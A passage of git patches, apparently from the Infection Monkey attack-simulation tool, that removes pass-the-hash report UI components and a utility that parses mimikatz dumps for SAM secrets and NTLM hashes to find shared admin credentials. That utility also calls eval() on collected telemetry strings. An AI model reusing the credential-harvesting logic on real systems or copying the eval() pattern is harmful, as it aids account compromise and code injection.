    - ); - } - - getInfoByProps() { - switch (this.props.type) { - case 'edge': - return this.edgeInfo(this.props.item); - case 'node': - return this.nodeInfo(this.props.item); - } - - return null; - } -} - -export default PthPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js deleted file mode 100644 index 20faafca7..000000000 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ /dev/null @@ -1,58 +0,0 @@ -import React from 'react'; -import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import AuthComponent from '../AuthComponent'; -import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions'; -import PreviewPane from "../map/preview-pane/PreviewPane"; -import {Col} from "react-bootstrap"; -import {Link} from 'react-router-dom'; -import {Icon} from 'react-fa'; -import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane"; - -class PassTheHashMapPageComponent extends AuthComponent { - constructor(props) { - super(props); - this.state = { - graph: props.graph, - selected: null, - selectedType: null - }; - } - - events = { - select: event => this.selectionChanged(event) - }; - - selectionChanged(event) { - if (event.nodes.length === 1) { - let displayedNode = this.state.graph.nodes.find( - function (node) { - return node['id'] === event.nodes[0]; - }); - this.setState({selected: displayedNode, selectedType: 'node'}) - } - else if (event.edges.length === 1) { - let displayedEdge = this.state.graph.edges.find( - function (edge) { - return edge['id'] === event.edges[0]; - }); - this.setState({selected: displayedEdge, selectedType: 'edge'}); - } - else { - this.setState({selected: null, selectedType: null}); - } - } - - render() { - return ( -
    - -
    - -
    - -
    - ); - } -} - -export default PassTheHashMapPageComponent; diff --git a/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js b/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js deleted file mode 100644 index bf57065d5..000000000 --- a/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js +++ /dev/null @@ -1,42 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Admins Between Machines', - columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - ] - } -]; - -const pageSize = 10; - -class SharedAdminsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedAdminsComponent; diff --git a/monkey_island/cc/ui/src/components/report-components/SharedCreds.js b/monkey_island/cc/ui/src/components/report-components/SharedCreds.js deleted file mode 100644 index f42494167..000000000 --- a/monkey_island/cc/ui/src/components/report-components/SharedCreds.js +++ /dev/null @@ -1,41 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - console.log(val); - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Credentials', - columns: [ - {Header: 'Credential Group', id: 'cred_group', accessor: x => renderArray(x.cred_group) } - ] - } -]; - -const pageSize = 10; - -class SharedCredsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedCredsComponent; diff --git a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey_island/cc/ui/src/components/report-components/StrongUsers.js deleted file mode 100644 index 36068f26e..000000000 --- a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js +++ /dev/null @@ -1,44 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - console.log(val); - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Powerful Users', - columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} - ] - } -]; - -const pageSize = 10; - -class StrongUsersComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default StrongUsersComponent; diff --git a/monkey_island/cc/ui/src/images/nodes/pth/critical.png b/monkey_island/cc/ui/src/images/nodes/pth/critical.png deleted file mode 100644 index 0348a7f5d312b0400da47f60a5f2d81682bd19a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 20067 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 From 4ce30de3020dabcf0cd1e07b2bee235ed58f31be Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 16 Oct 2018 13:59:32 +0300 Subject: [PATCH 216/243] Changed the way the username is displayed in the shared admin bulletin --- monkey/monkey_island/cc/services/pth_report.py | 2 -- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 3 ++- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 0bd9c332d..95e0717e1 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -171,8 +171,6 @@ class PTHReportService(object): return table_entries - - @staticmethod def generate_map_nodes(): diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 260701c4d..98224541c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -787,7 +787,8 @@ class ReportPageComponent extends AuthComponent {
  • Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. - Here is a list of machines which has this account defined as an administrator: + Here is a list of machines which the account {issue.username} is defined as an administrator: {this.generateInfoBadges(issue.shared_machines)}
  • From b443652b0ea58cc3a7892ab0a7f8fce0614356ec Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 16 Oct 2018 18:53:56 +0300 Subject: [PATCH 217/243] Cleaned up the code and removed not needed files --- .../monkey_island/cc/services/pth_report.py | 13 +- .../cc/services/pth_report_utils.py | 962 ------------------ monkey/monkey_island/cc/services/report.py | 5 +- 3 files changed, 11 insertions(+), 969 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/pth_report_utils.py diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 95e0717e1..7a3dbc39b 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -222,18 +222,22 @@ class PTHReportService(object): if pair[0] != pair[1]: yield pair + @staticmethod + def get_pth_map(): + return { + 'nodes': PTHReportService.generate_map_nodes(), + 'edges': PTHReportService.generate_edge_nodes() + } + @staticmethod def get_report(): PTHReportService.get_strong_users_on_critical_machines_nodes() - - issues = [] report = \ { 'report_info': { - 'strong_users_table': PTHReportService.get_strong_users_on_crit_details(), - 'pth_issues': issues + 'strong_users_table': PTHReportService.get_strong_users_on_crit_details() }, 'pthmap': @@ -244,3 +248,4 @@ class PTHReportService(object): } return report + diff --git a/monkey/monkey_island/cc/services/pth_report_utils.py b/monkey/monkey_island/cc/services/pth_report_utils.py deleted file mode 100644 index 13fe3654f..000000000 --- a/monkey/monkey_island/cc/services/pth_report_utils.py +++ /dev/null @@ -1,962 +0,0 @@ -import hashlib -import binascii -import copy -import uuid - -from cc.database import mongo -from cc.services.node import NodeService - -DsRole_RoleStandaloneWorkstation = 0 -DsRole_RoleMemberWorkstation = 1 -DsRole_RoleStandaloneServer = 2 -DsRole_RoleMemberServer = 3 -DsRole_RoleBackupDomainController = 4 -DsRole_RolePrimaryDomainController = 5 - -SidTypeUser = 1 -SidTypeGroup = 2 -SidTypeDomain = 3 -SidTypeAlias = 4 -SidTypeWellKnownGroup = 5 -SidTypeDeletedAccount = 6 -SidTypeInvalid = 7 -SidTypeUnknown = 8 -SidTypeComputer = 9 - - -def is_group_sid_type(type): - return type in (SidTypeGroup, SidTypeAlias, SidTypeWellKnownGroup) - - -def myntlm(x): - hash = hashlib.new('md4', x.encode('utf-16le')).digest() - return str(binascii.hexlify(hash)) - - -def cache(foo): - def hash(o): - if type(o) in (int, float, str, unicode): - return repr(o) - - elif type(o) in (type(None),): - return "___None___" - - elif type(o) in (list, tuple, set): - hashed = tuple([hash(x) for x in o]) - - if "NotHashable" in hashed: - return "NotHashable" - - return hashed - - elif type(o) == dict: - hashed_keys = tuple([hash(k) for k, v in o.iteritems()]) - hashed_vals = tuple([hash(v) for k, v in o.iteritems()]) - - if "NotHashable" in hashed_keys or "NotHashable" in hashed_vals: - return "NotHashable" - - return tuple(zip(hashed_keys, hashed_vals)) - - elif type(o) == Machine: - return o.monkey_guid - - # elif type(o) == PthMap: - # return "PthMapSingleton" - - elif type(o) == PassTheHashReport: - return "PassTheHashReportSingleton" - - else: - assert False, "%s of type %s is not hashable" % (repr(o), type(o)) - return "NotHashable" - - def wrapper(*args, **kwargs): - hashed = (hash(args), hash(kwargs)) - - if "NotHashable" in hashed: - return foo(*args, **kwargs) - - if not hasattr(foo, "_mycache_"): - foo._mycache_ = dict() - - if hashed not in foo._mycache_.keys(): - foo._mycache_[hashed] = foo(*args, **kwargs) - - return copy.deepcopy(foo._mycache_[hashed]) - - return wrapper - - -class Machine(object): - def __init__(self, monkey_guid): - self.monkey_guid = str(monkey_guid) - - self.latest_system_info = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", -1)]).limit( - 1) - - if self.latest_system_info.count() > 0: - self.latest_system_info = self.latest_system_info[0] - else: - self.latest_system_info = None - - self.monkey_info = NodeService.get_monkey_by_guid(self.monkey_guid) - - def __eq__(self, other): - if isinstance(other, self.__class__): - return self.monkey_guid == other.monkey_guid - else: - return False - - @cache - def GetMimikatzOutput(self): - doc = self.latest_system_info - - if not doc: - return None - - return doc.get("data").get("mimikatz") - - @cache - def GetHostName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Name")) - - return None - - @cache - def GetIp(self): - doc = self.latest_system_info - - for addr in doc.get("data").get("network_info", {}).get("networks", {}): - return str(addr["addr"]) - - return None - - @cache - def get_monkey_id(self): - doc = self.monkey_info - - return str(doc.get('_id')) - - @cache - def GetDomainName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Domain")) - - return None - - @cache - def GetDomainRole(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return comp.get("DomainRole") - - return None - - @cache - def IsDomainController(self): - return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) - - #@cache - def GetSidByUsername(self, username, domain=None): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount", {}): - if eval(user.get("Name")) != username: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - if domain and user.get("Domain") != domain: - continue - - return eval(user.get("SID")) - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - sid = dc.GetSidByUsername(username) - - if sid != None: - return sid - - return None - - @cache - def GetUsernameBySid(self, sid): - info = self.GetSidInfo(sid) - - if not info: - return None - - return str(info.get("Domain")) + "\\" + str(info.get("Username")) - - @cache - def GetSidInfo(self, sid): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount",{}): - if eval(user.get("SID")) != sid: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - return {"Domain": eval(user.get("Domain")), - "Username": eval(user.get("Name")), - "Disabled": user.get("Disabled") == "true", - "PasswordRequired": user.get("PasswordRequired") == "true", - "PasswordExpires": user.get("PasswordExpires") == "true", - 'hostname': doc.get('data').get('hostname'), } - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - domain = dc.GetSidInfo(sid) - - if domain != None: - return domain - - return None - - @cache - def GetCriticalServicesInstalled(self): - def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS') - services = map(str.lower, services) - - if not name: - return False - - name = name.lower() - - return name in services - # for ser in services: - # if ser in name: - # return True - - return False - - doc = self.latest_system_info - found = [] - - if self.IsDomainController(): - found.append("Domain Controller") - - for product in doc.get("data").get("Win32_Product", {}): - service_name = eval(product.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - found.append(service_name) - - for service in doc.get("data").get("Win32_Service", {}): - service_name = eval(service.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - if eval(service.get("State")) != "Running": - continue - - found.append(service_name) - - return found - - @cache - def IsCriticalServer(self): - return len(self.GetCriticalServicesInstalled()) > 0 - - @cache - def GetUsernamesBySecret(self, secret): - sam = self.GetLocalSecrets() - - names = set() - - for username, user_secret in sam.iteritems(): - if secret == user_secret: - names.add(username) - - return names - - @cache - def GetSidsBySecret(self, secret): - usernames = self.GetUsernamesBySecret(secret) - return set(map(self.GetSidByUsername, usernames)) - - def GetGroupSidByGroupName(self, group_name): - doc = self.latest_system_info - - for group in doc.get('data').get("Win32_Group", {}): - if eval(group.get("Name")) != group_name: - continue - - if not is_group_sid_type(group.get("SIDType")): - continue - - return eval(group.get("SID")) - - return None - - def GetUsersByGroupSid(self, sid): - doc = self.latest_system_info - - users = dict() - - for group_user in doc.get('data').get("Win32_GroupUser", {}): - if eval(group_user.get("GroupComponent", {}).get("SID")) != sid: - continue - - if not is_group_sid_type(group_user.get("GroupComponent", {}).get("SIDType")): - continue - - if "PartComponent" not in group_user.keys(): - continue - - if type(group_user.get("PartComponent")) in (str, unicode): - # PartComponent is an id to Win32_UserAccount table - - wmi_id = group_user.get("PartComponent") - - if "cimv2:Win32_UserAccount" not in wmi_id: - continue - - username = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - domain = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-1] - - sid = self.GetSidByUsername(username, domain) - users[sid] = username - - else: - if group_user.get("PartComponent", {}).get("SIDType") != SidTypeUser: - continue - - users[eval(group_user.get("PartComponent", {}).get("SID"))] = eval(group_user.get("PartComponent") - .get("Name")) - - return users - - @cache - def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): - cur = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "data.Win32_ComputerSystem.Domain": "u'%s'" % (domain_name,)}) - - GUIDs = set() - - for doc in cur: - if not Machine(doc.get("monkey_guid")).IsDomainController(): - continue - - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - def GetLocalAdmins(self): - admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) - - # debug = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Users")) - # admins.update(debug) - - return admins - - def GetLocalAdminSids(self): - return set(self.GetLocalAdmins().keys()) - - @cache - def GetLocalSids(self): - doc = self.latest_system_info - - SIDs = set() - - for user in doc.get('data').get("Win32_UserAccount", {}): - if user.get("SIDType") != SidTypeUser: - continue - - SIDs.add(eval(user.get("SID"))) - - return SIDs - - @cache - def GetLocalAdminNames(self): - return set(self.GetLocalAdmins().values()) - - @cache - def GetSam(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - try: - sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - - sam = {} - - for sam_user_txt in sam_users: - sam_user = dict([map(unicode.strip, line.split(":")) for line in 